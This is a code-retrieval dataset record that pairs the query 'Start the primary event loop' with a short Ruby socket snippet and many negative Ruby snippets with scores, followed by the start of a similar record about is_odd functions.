BOOTSTRAP SCRIPT PRESENT\"\\n})\n end\n end\n end" ]
[ "0.748416", "0.7441998", "0.69170666", "0.6909562", "0.6799857", "0.67365634", "0.67215735", "0.6678331", "0.65941083", "0.6587204", "0.6566199", "0.6548999", "0.6500137", "0.64719236", "0.64584416", "0.644825", "0.6276875", "0.6257646", "0.622772", "0.6222462", "0.6177322", "0.61370605", "0.61031437", "0.603482", "0.5984364", "0.59710264", "0.5897592", "0.5875468", "0.58624196", "0.5857415", "0.5842827", "0.5840951", "0.58315766", "0.58219683", "0.58082086", "0.5804029", "0.5803827", "0.578086", "0.576264", "0.57589567", "0.5755023", "0.57239926", "0.57047015", "0.57036525", "0.56731176", "0.5662179", "0.5657704", "0.56524396", "0.5639957", "0.5623614", "0.5617777", "0.5612939", "0.5610513", "0.56100535", "0.56100535", "0.56100535", "0.5603829", "0.55812687", "0.5575968", "0.55741286", "0.5570671", "0.5564888", "0.5559818", "0.55525845", "0.5544099", "0.55439067", "0.5522958", "0.5494805", "0.5479232", "0.54696834", "0.54659575", "0.5436043", "0.54358405", "0.54358405", "0.5435813", "0.543342", "0.5426917", "0.5422031", "0.54190725", "0.54029536", "0.5396191", "0.53845507", "0.53780437", "0.5371646", "0.5356545", "0.5346823", "0.5343311", "0.5342083", "0.5327961", "0.5327337", "0.53224164", "0.5316846", "0.530416", "0.5299907", "0.5297587", "0.52775747", "0.5273267", "0.52715486", "0.5270213", "0.5263046" ]
0.58273137
33
Start the primary event loop
def run @socket.write_object({:foo => Time.now}) sleep(2) LOG.info "[EXIT]" end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def start\n main_loop\n end", "def initiate_event_loop!\n @active = true\n\n @thread = Thread.new do\n while @active\n @session_mutex.synchronize do\n @session.process(@loop_wait)\n end\n Thread.pass\n end\n end\n end", "def initiate_event_loop!\n @active = true\n\n @thread = Thread.new do\n while @active\n @session_mutex.synchronize do\n @session.process(@loop_wait)\n end\n Thread.pass\n end\n end\n end", "def initiate_event_loop!\n @active = true\n\n @thread = Thread.new do\n while @active\n @session_mutex.synchronize do\n @session.process(@loop_wait)\n end\n Thread.pass\n end\n end\n end", "def start() @root.mainloop end", "def start\n \n register_signal_handlers\n log.info(\"Registered event handlers...\")\n \n EM.synchrony do\n do_work\n end\n \n end", "def start\n while listen\n # Loop for-ev-er\n end\n end", "def start()\n @state = RUNNING\n @loop.wakeup() unless @loop.nil?\n end", "def start\n loop do\n run\n end\n end", "def run\n EventMachine::run do\n @tcp = EventMachine::connect(config.server.host, config.server.port, TCPConnection)\n @tcp.client = self\n spectator_join\n end\n end", "def start\n begin\n EventMachine.run do\n \n @config.rabbitmq_hosts.each do |rabbitmq_host|\n if rabbitmq_host[\"enabled\"] == true\n start_worker(rabbitmq_host)\n end\n end\n Signal.trap(\"INT\"){EventMachine.stop}\n Signal.trap(\"QUIT\"){EventMachine.stop}\n Signal.trap(\"TERM\"){EventMachine.stop}\n Signal.trap(\"TSTP\"){EventMachine.stop}\n end\n rescue Exception=>e\n puts \"#{e.message} #{e.backtrace}\"\n end\n end", "def start()\n super()\n\n @@count += 1\n\n if !EM.reactor_running? and @@thread == nil\n @@thread = Thread.new do\n EM.run\n end\n\n sleep 1 until EM.reactor_running? # Make sure that EM is running\n end\n end", "def start_with_reactor\n EventMachine.error_handler do |err|\n puts \"Error in EM: #{err}\"\n puts err.backtrace.join(\"\\n\")\n end\n EventMachine.run do\n self.start\n end\n end", "def start\n EM.synchrony do\n run\n end\n end", "def start\n configure\n run\n end", "def run_loop\n end", "def start\n handle_old_pid_file\n start_control_loop\n end", "def start_driver\n loop_thread = Thread.new { loop }\n start_listener\n loop_thread.kill!\n end", "def run\n start\n jetty.join\n end", "def start\n run_all if @options[:all_on_start]\n end", "def wake_event_loop!\n super\n end", "def wake_event_loop!\n super\n end", "def start!\n \t@initial_queue = Dispatch::Queue.current\n event :start\n end", "def run\n loop do\n break unless app_loop\n end\n end", "def start\n @client.ping\n @state.set :run\n @thread ||= Thread.new{ work_loop }\n end", "def start\n enable_cow\n start_bunny\n register_signals\n create_queues\n end", "def begin!\n start_server\n end", "def start\n backend.start\n end", "def start\n run_all if options[:all_on_start]\n end", "def start\n run_all if options[:all_on_start]\n end", "def start\n run_all if options[:all_on_start]\n end", "def start\n\t\tstart_async\n\t\tputs \"\\nPress ^C to exit.\\n\"\n\t\tGReactor.join { puts \"\\r\\nStarting shutdown sequesnce. Press ^C to force quit.\"}\n\tend", "def start\n puts 'launching server'\n EM::run do\n EM::WebSocket.run(:host => \"0.0.0.0\", :port => 6262) do |ws|\n sigHandler\n SparrowWSHandler.new ws\n end\n end\n end", "def start_loop\n loop do\n sleep 2\n start\n end\n rescue => e\n Torkify.logger.error { e }\n end", "def start\n # Eventmachine run\n EM.run do\n # set what to do on message from websocket\n on_message\n\n # set what to do on close of websocket connection\n on_close\n end\n end", "def start\n # we trap CTRL+C in the console and kill the server\n trap(\"INT\") { BeEF::Core::Server.instance.stop }\n \n # starts the web server\n @http_server.start\n end", "def start\n\t\tinit\n\t end", "def run\n run_chain(:before_start)\n\n STDOUT.sync = true\n\n logger.info(\"Engine \\##{id} Running\")\n \n run_chain(:after_start)\n end", "def start\n begin\n setup\n run\n shutdown\n rescue\n exception($!)\n rescue Interrupt\n interrupt($!)\n ensure\n cleanup\n end\n end", "def start()\n\n\t\tend", "def start\n run_all if options[:all_on_start]\n end", "def start!\n Scarlet.root = File.expand_path File.dirname(__FILE__)\n Scarlet.config.merge! YAML.load_file(\"#{Scarlet.root}/config.yml\").symbolize_keys\n # create servers\n Scarlet.config.servers.each do |name, cfg|\n cfg[:server_name] = name\n @@servers[name] = Server.new cfg\n end\n # for safety delete the servers list after it gets loaded\n Scarlet.config.delete :servers\n # connect servers\n @@servers.values.each do |server|\n server.connection = EventMachine::connect(server.config.address, server.config.port, Connection, server)\n end\n Scarlet.load_commands\n end", "def start_run; end", "def start\n\t\t\t\t@endpoint ||= self.endpoint\n\t\t\t\t\n\t\t\t\t@bound_endpoint = Async do\n\t\t\t\t\tAsync::IO::SharedEndpoint.bound(@endpoint)\n\t\t\t\tend.wait\n\t\t\t\t\n\t\t\t\tConsole.logger.info(self) { \"Starting #{name} on #{@endpoint.to_url}\" }\n\t\t\t\t\n\t\t\t\t@debug_trap.ignore!\n\t\t\t\t\n\t\t\t\tsuper\n\t\t\tend", "def start_broker()\n\n Thread.new do\n `ruby -r 'simplepubsub' -e \"SimplePubSub::Broker.start port: '55000'\"`\n end\n\n end", "def start\n _signals_trap\n _init_actors\n unpause\n Celluloid::Actor[:listen_adapter].async.start\n @thread = Thread.new { _wait_for_changes }\n end", "def start!\n @pid_lock.synchronize do\n raise AlreadyStarted if running?\n\n @event_received = false\n\n start_listening_events\n start_process\n start_watchdog\n end\n end", "def start\n end", "def start\n end", "def start\n end", "def start\n end", "def start\n\t\tself.log.debug \"Starting.\"\n\t\tself.spawn_server\n\t\tself.read_hello\n\tend", "def run\n self.stopped = false\n Marvin::Logger.info \"Starting up DRb Client\"\n DRb.start_service\n # Loop through, making sure we have a valid\n # RingFinger and then process events as they\n # appear.\n enter_loop!\n end", "def serving_loop\n Thread.new { socket_loop }\n @manager.management_loop\n end", "def run\n capture_signals\n load_config\n\n EM.synchrony do\n connect\n start_throttle\n end\n end", "def start\n _bootstrap!\n self.started = true\n end", "def autostart; end", "def start\n end", "def start\n end", "def start\n end", "def start\n end", "def start\n end", "def start\n end", "def start\n end", "def start\n end", "def start!\n start\n wait_until_terminated(nil)\n end", "def run\n room = robot.config.adapters.shell.private_chat ? nil : \"shell\"\n @source = Source.new(user: user, room: room)\n puts t(\"startup_message\")\n robot.trigger(:connected)\n\n run_loop\n end", "def start(&blk)\n EM.epoll\n EM.synchrony do\n trap(\"INT\") { stop }\n trap(\"TERM\") { stop }\n\n if RUBY_PLATFORM !~ /mswin|mingw/\n trap(\"HUP\") { load_config(options[:config]) }\n end\n\n load_config(options[:config])\n load_plugins\n\n EM.set_effective_user(options[:user]) if options[:user]\n\n config[Goliath::Constants::GOLIATH_SIGNATURE] = start_server(options) do |conn|\n if options[:ssl]\n conn.start_tls(\n :private_key_file => options[:ssl_key],\n :cert_chain_file => options[:ssl_cert],\n :verify_peer => options[:ssl_verify]\n )\n end\n\n conn.port = port\n conn.app = app\n conn.api = api\n conn.logger = logger\n conn.status = status\n conn.config = config\n conn.options = options\n end\n\n blk.call(self) if blk\n end\n end", "def start\n @config[:start]\n end", "def start\n \n\tend", "def start\n puts \"Press Ctrl-C to close.\"\n @server.start\n end", "def execute_in_main_thread(&block)\n EventMachine.schedule(&block)\n end", "def run\r\n catch :quit do\r\n loop do\r\n # Prepare events\r\n @event_queue.fetch_sdl_events\r\n @event_queue << @clock.tick\r\n\r\n # Handle events\r\n @event_queue.each do |event|\r\n yield event if block_given?\r\n # Stop this program if the user closes the window\r\n throw :quit if event.is_a? Rubygame::Events::QuitRequested\r\n end\r\n end\r\n end\r\n end", "def start\n\n logger.info('Starting the WebSocket Client...')\n\n EventMachine.run do\n\n puts '='*80, \"Connecting to websockets server at ws://#{Settings.websocket.host}:#{Settings.websocket.port}\", '='*80\n\n http = EventMachine::HttpRequest.new(\"ws://#{Settings.websocket.host}:#{Settings.websocket.port}/websocket\").get :timeout => 0\n\n http.errback do\n logger.error \"something was wrong in the websocket_client\"\n end\n\n http.callback do\n puts \"#{Time.now.strftime('%H:%M:%S')} : Connected to server\"\n end\n\n http.stream do |msg|\n puts msg\n end\n\n end\n \n end", "def start_event_loop\n loop do\n timeout = select_timeout\n @logger.debug \"select with a timeout of #{ timeout }\"\n result = IO.select(client_sockets + [@server], [], [], timeout)\n sockets = result ? result[0] : []\n process_poll_events(sockets)\n process_time_events\n end\n end", "def starter\n @starter ||= EM.Callback { @running = true }\n end", "def start\n\t\tend", "def start\n stop\n @running = true\n @threads << broadcast_worker_loop\n @threads << read_worker_loop\n end", "def start\n return unless stopped?\n @stopped = false\n Thread.new do\n until stopped?\n tick\n sleep 0.01\n end\n end\n end", "def listen\n em_run do\n end\n end", "def start\n # trap_signals\n\n loop do\n runtime = Benchmark.realtime { perform }\n sleep(@interval - runtime) if runtime < @interval && !stop?\n\n break if stop?\n end\n end", "def start\n end", "def start\n end", "def start\n\n end", "def start\n\n @writer = Writer.new.start\n @worker_pool = WorkerPool.new create_listen_socket\n\n sig_init\n master_loop\n shutdown_writer\n\n end", "def start # :nodoc:\n log \"Starting\"\n end", "def run\n begin\n puts \" [*] Running #{self.class.config[:application_name]} with pid #{Process.pid}\"\n puts \" [*] Running in #{self.class.env} environment\"\n puts \" [*] To exit press CTRL+C or send a SIGINT\"\n self.start\n loop do\n sleep(1)\n end\n rescue SystemExit, Interrupt => _\n self.stop\n end\n end", "def start(*)\n self\n end", "def run\n assign_process_name!\n\n wrap_chain(:start) do\n STDOUT.sync = true\n\n logger.info(\"Engine \\##{id} Running\")\n \n switch_to_effective_user! if (self.class.user)\n\n @state = :running\n end\n end", "def start\n raise \"NotImplemented\"\n end", "def start\n executor.post {read_loop}\n start_protocols\n super\n end", "def ensure_em_running\n if !::EM::reactor_running?\n\n Thread.new do\n ::EM.run do\n ::EM.error_handler do |e|\n $stderr.puts \"Exception raised during event loop: \" +\n \"#{e.message} (#{e.class})\\n#{(e.backtrace ||\n [])[0..5].join(\"\\n\")}\"\n end\n end\n end\n\n sleep 0.1 while !::EM.reactor_running?\n end\n end", "def start_thread\n @thread = @options[:sync] || Thread.new do\n begin\n loop do\n @status = :waiting_for_event\n process_event\n @event_queue.wait_for_new_event\n end\n rescue => e\n CFSM.logger.fatal \"#{e.class}: #{$!}\"\n Thread.main.raise e\n end\n end\n end", "def start_async\n\t\tObject.const_set(\"NO_PLEZI_AUTO_START\", true) unless defined?(NO_PLEZI_AUTO_START)\n\t\treturn GReactor.start if GReactor.running?\n\t\tputs \"Starting Plezi #{Plezi::VERSION} Services using GRHttp #{GRHttp::VERSION} and GReactor #{GReactor::VERSION}.\"\n\t\tGReactor.on_shutdown { puts \"Plezi shutdown. It was fun to serve you.\" }\n\t\tGReactor.start ::Plezi::Settings.max_threads\n\tend", "def start\n end", "def start\n @log.info \"starting trader\"\n @should_terminate = false\n iterate()\n end", "def start\n _connect\n sleep 1\n end", "def start_main_loop_thread\n current_generation = @main_loop_generation\n @main_loop_thread = create_thread_and_abort_on_exception do\n main_loop\n end\n @main_loop_thread_lock.synchronize do\n while @main_loop_generation == current_generation\n @main_loop_thread_cond.wait(@main_loop_thread_lock)\n end\n end\n end", "def run\n\n # Run in the background if daemonizing\n (daemonize; return) if @options[:daemonize]\n\n # Otherwise, run in the foreground\n launch_celluloid(true)\n end", "def start!\n start\n blocking_thread.join\n end", "def start\n catch(:stop) do\n @poll_waiter.poll do\n read_events\n end\n end\n end" ]
[ "0.79699636", "0.7594737", "0.755645", "0.755645", "0.7230091", "0.7221877", "0.7150945", "0.7137103", "0.70791864", "0.7031621", "0.6962473", "0.6897413", "0.6872361", "0.68591917", "0.68242085", "0.6813085", "0.67843103", "0.6781627", "0.672159", "0.6714863", "0.670168", "0.670168", "0.66272414", "0.6622469", "0.6609577", "0.66068304", "0.6583929", "0.65790427", "0.6561246", "0.6561246", "0.6561246", "0.6552561", "0.6549057", "0.65417975", "0.6538461", "0.65248907", "0.65185225", "0.65119255", "0.65094787", "0.64935374", "0.6429277", "0.6428188", "0.64194685", "0.6415771", "0.6414347", "0.6414303", "0.64097977", "0.64065814", "0.64065814", "0.64065814", "0.64065814", "0.63991183", "0.63969624", "0.63965076", "0.6393775", "0.63723665", "0.6357217", "0.63518864", "0.63518864", "0.63518864", "0.63518864", "0.63518864", "0.63518864", "0.63518864", "0.63518864", "0.6330473", "0.632572", "0.6321959", "0.631263", "0.63122916", "0.6306763", "0.629876", "0.6289526", "0.6276242", "0.6275138", "0.626433", "0.6262822", "0.6256113", "0.62554514", "0.6251723", "0.6247986", "0.62401843", "0.62401843", "0.6237373", "0.6236336", "0.6231508", "0.62299573", "0.6225585", "0.6222907", "0.6221925", "0.6216754", "0.6212982", "0.6205221", "0.6202869", "0.61798924", "0.61787456", "0.61741245", "0.6172674", "0.6171307", "0.61622715", "0.6159805" ]
0.0
-1
Establishes a connection with the server and stores it where it can be accessed.
def establish_connection LOG.debug self.inspect LOG.debug "establish_connection:" LOG.debug([@config['CONNECTION_HOST'], @config['CONNECTION_PORT']].inspect) @socket = TCPSocket.new(@config['CONNECTION_HOST'], @config['CONNECTION_PORT']) # The port should be an arg. handshake_data_hash = {:ident => @config['IDENT'], :pid => Process.pid} @socket.write_object(handshake_data_hash) end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def connect\n @connection.create\n end", "def connect\n @connection.open\n end", "def connect_using conn\n @connection = conn\n end", "def connection\n @connection = create_connection! unless connected?\n @connection\n end", "def connect\n @connection_manager.connect\n end", "def connect\n connection.connect\n nil\n end", "def connection\n @connection.connect\n end", "def connect\n Connection.new\n end", "def connect_to_server\n fail \"connect_server called without remote established\" if @remote.nil?\n host, port = @remote\n LOGGER.info \"Establishing new connection with #{host}:#{port}\"\n @server_side = ServerConnection.request(host, port, self)\n @server_side.pending_connect_timeout = @connect_timeout\n @server_side.comm_inactivity_timeout = @inactivity_timeout\n end", "def establish_connection\n end", "def establish_connection\n if @socket.nil?\n @socket = TCPSocket.new(@host, @port)\n end\n end", "def establish_connection\n if @socket.nil?\n @socket = TCPSocket.new(@host, @port)\n end\n end", "def connect\n @connection_pool.get_connection\n end", "def open()\n begin\n @my = Mysql.connect(@host, @user, @pw, @db)\n # Set the MySQL 'reconnect' flag -> Connection to the database will be\n # automatically maintained even if the Server closes it due to timed-out idle period\n @my.reconnect = true\n debug \" - Open Connection to MYSQL server - reconnect=#{@my.reconnect}\"\n @connected = true\n rescue MysqlError => e\n debug \"SQL error message: #{e.error}.\"\n end\n end", "def connection\n @connection ||= make_connection\n end", "def init\n # Open a socket for the server to connect on.\n @sock = TCPSocket.new(@address , @server.port)\n @sock.setsockopt(Socket::SOL_SOCKET, Socket::SO_REUSEADDR, true)\n @sock.setsockopt(Socket::SOL_SOCKET, Socket::SO_LINGER, false)\n unless RUBY_PLATFORM =~ /win32/\n @sock.fcntl(Fcntl::F_SETFL, Fcntl::O_NONBLOCK)\n end\n c = Connection.new(@server, @sock)\n if c.init\n log.info \"(#{c.object_id}) Connection made.\"\n publish(c)\n true\n else\n false\n end\n rescue Exception\n log.error \"Connector#init\"\n log.error $!\n false\n end", "def connect()\n @sock = TCPSocket.open(@server, @port)\n end", "def create_connection\n self.setup\n RfmAdaptor::Connection.new(self.server_name)\n end", "def connect()\n @s = @s || TCPsocket.open(@host, @port)\n end", "def connection\n @connection ||= build_connection\n end", "def connect_to_server\n @service.connect(connect_settings)\n end", "def connect_to_server\n @socket = TCPSocket.open(@serverip, @serverport)\n end", "def conn\n\t\treturn @conn ||= self.connect\n\tend", "def connect\n @comm.connect(opts.user, opts.password, opts.server)\n end", "def new_connection; end", "def open_connection\n @connection = TCPSocket.new(server, port)\n @context = OpenSSL::SSL::SSLContext.new\n @context.cert = @cert\n @context.key = @key\n\n @socket = OpenSSL::SSL::SSLSocket.new(@connection, @context) if @connection\n @socket.sync_close = true\n @socket.connect\n\n get_frame\n end", "def connect\n @socket = TCPSocket.open @host, @port\n @connected = !@socket.closed?\n end", "def connect\n @connector.connect\n @p.set_connection @connector\n end", "def connection\n @connection ||= KJess::Connection.new( host, port )\n end", "def connect\n connection.tap do |c|\n c.start\n end\n end", "def open_connection\n @connection = TCPSocket.new(@server, @port)\n @socket = OpenSSL::SSL::SSLSocket.new(@connection)\n \n # Synchronously close the connection & socket\n @socket.sync_close\n \n # Connect\n @socket.connect\n \n # Get the initial frame\n get_frame\n end", "def open()\n begin\n @my = Mysql.connect(@host, @user, @pw, @db)\n # Set the MySQL 'reconnect' flag -> Connection to the database will be \n # automatically maintained even if the Server closes it due to timed-out idle period\n @my.reconnect = true\n debug \" - Open Connection to MYSQL server - reconnect=#{@my.reconnect}\"\n rescue MysqlError => e\n debug \"SQL error message: #{e.error}.\"\n end\t\n end", "def connection\n retrieve_connection\n end", "def connect\n @client = Redis.new(host: @host, port: @port)\n @logger.info(\"Connecting to database #{@host}:#{@port}\")\n end", "def aquire_connection\n conn = if @connection_pool\n @connection_pool.aquire_connection\n else\n @connection\n end\n @status = nil unless conn.connected?\n conn\n end", "def open_connection\n # DataObjects::Connection.new(uri) will give you back the right\n # driver based on the DataObjects::URI#scheme\n connection = connection_stack.last || DataObjects::Connection.new(normalized_uri)\n connection_stack << connection\n connection\n end", "def open_connection\n if @sslca then\n @db = Mysql2::Client.new(\n host: @host, \n username: @username, \n password: @password, \n port: @port, \n database: @database_name,\n sslca: @sslca)\n else\n @db = Mysql2::Client.new(\n host: @host, \n username: @username, \n password: @password, \n port: @port, \n database: @database_name)\n end\n end", "def put_connection(conn)\n conn.close if !active?\n @connections.offer(conn)\n end", "def connection\n @connection ||= Connection.new(nil)\n end", "def connect!; end", "def connect!; end", "def connection\n raise ConnectionNotEstablished unless @@connection\n return @@connection\n end", "def connection\n @connection ||= Oedipus::Connection.new(host: \"127.0.0.1\", port: 9399, verify: false)\n end", "def connect\r\n if @opts[:threadsafe]\r\n @conns = Knj::Threadhandler.new\r\n \r\n @conns.on_spawn_new do\r\n self.spawn\r\n end\r\n \r\n @conns.on_inactive do |data|\r\n data[:obj].close\r\n end\r\n \r\n @conns.on_activate do |data|\r\n data[:obj].reconnect\r\n end\r\n else\r\n @conn = self.spawn\r\n end\r\n end", "def connect\n TCPSocket.open(@host, @port)\n end", "def create_sesame_con\n @os_conn = EventMachine::HttpRequest.new($open_sesame_url)\n end", "def connect\n @connection = Net::HTTP.new(@params[:server], @params[:port])\n @connection.use_ssl = true if @params[:scheme] == 'https'\n @connection.start\n end", "def connect\n end", "def connection\n @db = Connection.client\nend", "def spawn_connection\n connect\n end", "def set_connection(key, pwd, name)\n ShopifyAPI::Base.site = \"https://#{key}:#{pwd}@#{name}.myshopify.com/admin\"\n shop = ShopifyAPI::Shop.current\n\n $shop_name = name\n $currency = shop.money_with_currency_format\n\n session[:logged_in] = true\n open_connection\n rescue SocketError, ActiveResource::ResourceNotFound => e\n puts \"Exception: #{e}\"\n close_connection\n end", "def connection\n open(url)\n end", "def connection\n v = ENV.fetch(@var, nil)\n raise \"The environment variable #{@var.inspect} is not set\" if v.nil?\n uri = URI(v)\n Pgtk::Wire::Direct.new(\n host: uri.host,\n port: uri.port,\n dbname: uri.path[1..-1],\n user: uri.userinfo.split(':')[0],\n password: uri.userinfo.split(':')[1]\n ).connection\n end", "def connection\n @connection ||= begin\n Faraday.new(:url => \"http://#{configuration.server}:#{configuration.port}\", &connection_block)\n end\n end", "def establish_connection\n @connection = Net::POP3.new(@server, @port)\n @connection.enable_ssl(OpenSSL::SSL::VERIFY_NONE) if @ssl\n @connection.start(@username, @password)\n end", "def connect\n Alf::Tools::friendly_require('sequel')\n @db ||= ::Sequel.connect(@uri, @options)\n end", "def establish_connection(options={})\n\t\tconnection.ensure_tunnel(options)\n\tend", "def connection\r\n @connectoin ||= HTTPClient.new\r\n end", "def connect\n \n if !self.connected?\n \n # connect to the MySQL server\n @dbh = DBI.connect(\"DBI:Mysql:#{@dataBase}:#{@host}\", \n\t \"#{@user}\", \"#{@password}\")\n @connected=true\n \n end\n end", "def connection #:nodoc:\n Thread.current['connection'] ||= retrieve_connection\n Thread.current['connection']\n end", "def connection\n return @connection if @connection\n\n unless session = cached_session\n Logger.info \"Creating a new session!\"\n session = create_write_and_return_new_session!\n end\n\n # will raise an error if session not authorized\n @connection = DropboxClient.new(session, access_type)\n\n rescue => err\n raise Errors::Storage::Dropbox::ConnectionError.wrap(err)\n end", "def connect(server)\n Connection.new(self, server, server_opts(server))\n end", "def connection\n threaded[:connection] || raise('Please authenticate with GoodData.connect first')\n end", "def connect; end", "def setup_socket\n ctx = setup_certificate\n\n APN.log(:debug, \"Connecting to #{@host}:#{@port}...\")\n\n socket_tcp = TCPSocket.new(@host, @port)\n OpenSSL::SSL::SSLSocket.new(socket_tcp, ctx).tap do |s|\n s.sync = true\n s.connect\n end\n end", "def connection; end", "def connection; end", "def connection; end", "def connection; end", "def connection; end", "def connection; end", "def connection; end", "def connection; end", "def connection(&blk)\n @connection ||= Connection.build endpoint.secret, &blk\n end", "def connection\n @connection ||= Connection.new(RESOURCE_PATH)\n end", "def connection\n @connection ||= Connection.new(RESOURCE_PATH)\n end", "def connection\n @connection ||= Connection.new(RESOURCE_PATH)\n end", "def connection\n @connection ||= Connection.new(RESOURCE_PATH)\n end", "def handle_connection(conn, opts={})\n create_session(conn, opts)\n end", "def _connect!\n _log { \"_connect! #{uri}\" } if @verbose >= 1\n stream = _client_connect!\n _log { \"_connect! stream=#{stream}\" } if @verbose >= 1\n _after_connect! stream\n stream\n rescue ::Exception => err\n raise err.class, \"Cannot connect to #{self.class} #{uri}: #{err.inspect}\", err.backtrace\n end", "def connect\n \n if !self.connected?\n \n # connect to the MySQL server\n \n @dbh = DBI.connect(\"DBI:Mysql:#{@dataBase}:#{@host}\", \n\t \"#{@user}\", \"#{@password}\")\n \n @connected=true\n \n end\n end", "def connect!\n sessions\n self\n end", "def conn= x\n @conn_owned = false\n @conn = x\n end", "def connect!\n @connection = Connection::Factory.create(@options[:transport], @options[:transport_wrapper], @current_server, @options[:timeout])\n @connection.connect!\n @client = @client_class.new(@options[:protocol].new(@connection.transport, *@options[:protocol_extra_params]))\n rescue Thrift::TransportException, Errno::ECONNREFUSED => e\n @transport.close rescue nil\n raise e\n end", "def connection\n raise NotImplementedError, \"Implement #{__callee__} in #{self.class.to_s}\"\n end", "def set_up_connection # :doc:\n connection_class = Net::HTTP::Proxy @config[:proxy_addr],\n @config[:proxy_port], @config[:proxy_user], @config[:proxy_pass]\n @connection = connection_class.new @config[:host], @config[:port]\n set_up_ssl\n @connection.open_timeout = @config[:timeout]\n @connection.read_timeout = @config[:timeout]\n end", "def connect(server)\n opts = server_opts(server)\n Connection.new(self, opts)\n end", "def connect(conn)\n\t\t@host = conn.to_s\n\t\tbegin\n\t\t\t@conn.connect(@host)\n\t\trescue IOException\n\t\t\traise IOError, \"Cannot connect to #{@host}\"\n\t\tend\n\tend", "def store\n connection.store\n end", "def establish_connection(settings)\n @settings = Settings.configure(settings)\n\n socket = Socket.connect(self, @settings[:host], @settings[:port])\n socket.attach(Cool.io::Loop.default)\n self.socket = socket\n\n\n @on_tcp_connection_failure = @settings[:on_tcp_connection_failure] || Proc.new { |settings|\n raise self.class.tcp_connection_failure_exception_class.new(settings)\n }\n @on_possible_authentication_failure = @settings[:on_possible_authentication_failure] || Proc.new { |settings|\n raise self.class.authentication_failure_exception_class.new(settings)\n }\n\n @locale = @settings.fetch(:locale, \"en_GB\")\n @client_properties = Settings.client_properties.merge(@settings.fetch(:client_properties, Hash.new))\n\n @auto_recovery = (!!@settings[:auto_recovery])\n\n socket\n end", "def configure_connection\n end", "def connection=(val)\n @@connection = val\n end", "def establish_connection\n @connection = Net::IMAP.new(@server)\n @connection.authenticate(@authentication, @username, @password)\n end", "def connection\n # Establish connection (if not established yet).\n if not @conn then\n # Connect.\n @conn =\n if use_secure_connection? then Socket_IO.open(\"https://socketio.mtgox.com/socket.io\")\n else Socket_IO.open(\"http://socketio.mtgox.com/socket.io\"); end\n # Subscribe to ticker.\n @conn.send Socket_IO::JSONMsg[\n \"op\" => \"mtgox.subscribe\",\n \"type\" => \"ticker\"\n ]\n end\n #\n return @conn\n end", "def connection\n client.send(:connection)\n end", "def connection=(spec) #:nodoc:\n raise ConnectionNotEstablished unless spec\n @@connection = spec\n end", "def connect\n if (@type == \"db2\")\n @config\n Models::Databases::SiteDatabase::Base.setup_connection(@config)\n elsif (@type == \"bops\")\n @config\n Models::Databases::Bops::Base.setup_connection(@config)\n else\n Models::Databases::Dyces::Base.setup_connection(@config)\n end\n\n @connection = @type\n\n Log.instance.debug \"Connected to #@db_url\"\n self\n end", "def connect!\n end", "def connect\n connection = Bunny.new(connection_attributes.\n merge(:pass => connection_attributes[:password]))\n connection.start\n \n # NOTE: This is a super undocumented feature that you will probably know\n # about only from reading AMQP specs. If we want to subscribe, but abort\n # subscription before all messages are read, we need to turn this on,\n # otherwise the server will go on and deliver all remaining messages in\n # turn. See also the :ack => true flag in ServerTransport... 23Dez09, ksc\n connection.qos\n\n connection\n end", "def connection\n\n @hash_connection = {\n :connection => {\n :domain => @domain,\n :store_id => @profile,\n :service_user => @seller_profile,\n :service_password => @password\n }\n }\n\n end" ]
[ "0.7235263", "0.70036846", "0.6994638", "0.6907533", "0.68393415", "0.67632514", "0.6753088", "0.67093706", "0.6702807", "0.66579705", "0.6611322", "0.6611322", "0.64803255", "0.6434773", "0.6429279", "0.6391311", "0.63875735", "0.6382483", "0.63632894", "0.6360342", "0.632917", "0.62781847", "0.6266502", "0.6262974", "0.62285244", "0.62011915", "0.6200516", "0.6199865", "0.6188069", "0.6187468", "0.6172651", "0.61645216", "0.61331797", "0.61235183", "0.6116919", "0.6108202", "0.6101884", "0.6091989", "0.6069188", "0.60682094", "0.60682094", "0.6054627", "0.6041239", "0.6040339", "0.603645", "0.6026999", "0.6020729", "0.6016407", "0.6016", "0.5996353", "0.59861106", "0.5982274", "0.59793705", "0.5971211", "0.59698135", "0.5964786", "0.59612596", "0.59588367", "0.5955249", "0.595343", "0.5948047", "0.59463054", "0.5944282", "0.5942972", "0.5934298", "0.592082", "0.592082", "0.592082", "0.592082", "0.592082", "0.592082", "0.592082", "0.592082", "0.5904429", "0.5903304", "0.5903304", "0.5903304", "0.5903304", "0.5893792", "0.5891261", "0.58877337", "0.5882002", "0.58765006", "0.58748615", "0.58631676", "0.58533454", "0.58524525", "0.58454674", "0.58408177", "0.58354527", "0.5826307", "0.58253914", "0.5824856", "0.5819893", "0.58178115", "0.5816862", "0.5808515", "0.5805487", "0.5801838", "0.57970905" ]
0.65546805
12
num The Integer to be checked. Examples is_odd(1337) => true is_odd(420) => false Returns if the number is odd or not.
def is_odd(num) return num % 2 == 1 end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def is_odd(num)\n return ((num % 2) != 0)\nend", "def is_odd?(num)\n num.abs.to_i % 2 != 0 && num.to_i == num\nend", "def is_odd(num)\n if num % 2 == 0\n return false\n else\n return true\n end\nend", "def is_odd(num)\n return true if num % 2 != 0\n return false\nend", "def is_odd?(num)\n return num.abs % 2 == 1 ? true : false\nend", "def is_odd(number)\n\tif(number%2 != 0)\n\t\treturn true\n\telse\n\t\treturn false\n\tend\nend", "def is_odd?(num)\n absolute_num = num.abs\n if absolute_num % 2 == 0 || num.to_i != num\n return false\n else\n return true\n end\nend", "def is_odd(num)\n output = false\n if num % 2 != 0\n output = true\n end\n return output\nend", "def is_odd(number)\n if number%2 > 0\n return true\n end\n return false\nend", "def is_odd?(num)\n num % 2 != 0\nend", "def is_odd?(num)\n num % 2 != 0\nend", "def is_odd?(num)\n num % 2 == 1\nend", "def is_odd?(num)\n num % 2 == 1\nend", "def is_odd?(num)\n num % 2 == 1\nend", "def is_odd?(num)\n num % 2 == 1\nend", "def is_odd?(num)\n num % 2 == 1\nend", "def is_odd?(num)\n # could use the built-in Integer#odd? method but building my own for practice\n num.abs % 2 == 1\nend", "def is_odd?(num)\r\n num % 2 == 1\r\nend", "def is_odd?(number)\n number.to_i.odd?\nend", "def is_odd?(num)\n num.odd?\nend", "def is_odd?(num)\n num.odd?\nend", "def is_odd?(num)\n if num == 0 ||num.remainder(2) == 0\n false\n else\n true\n end\nend", "def is_odd(number)\n if number % 2== 1\n return 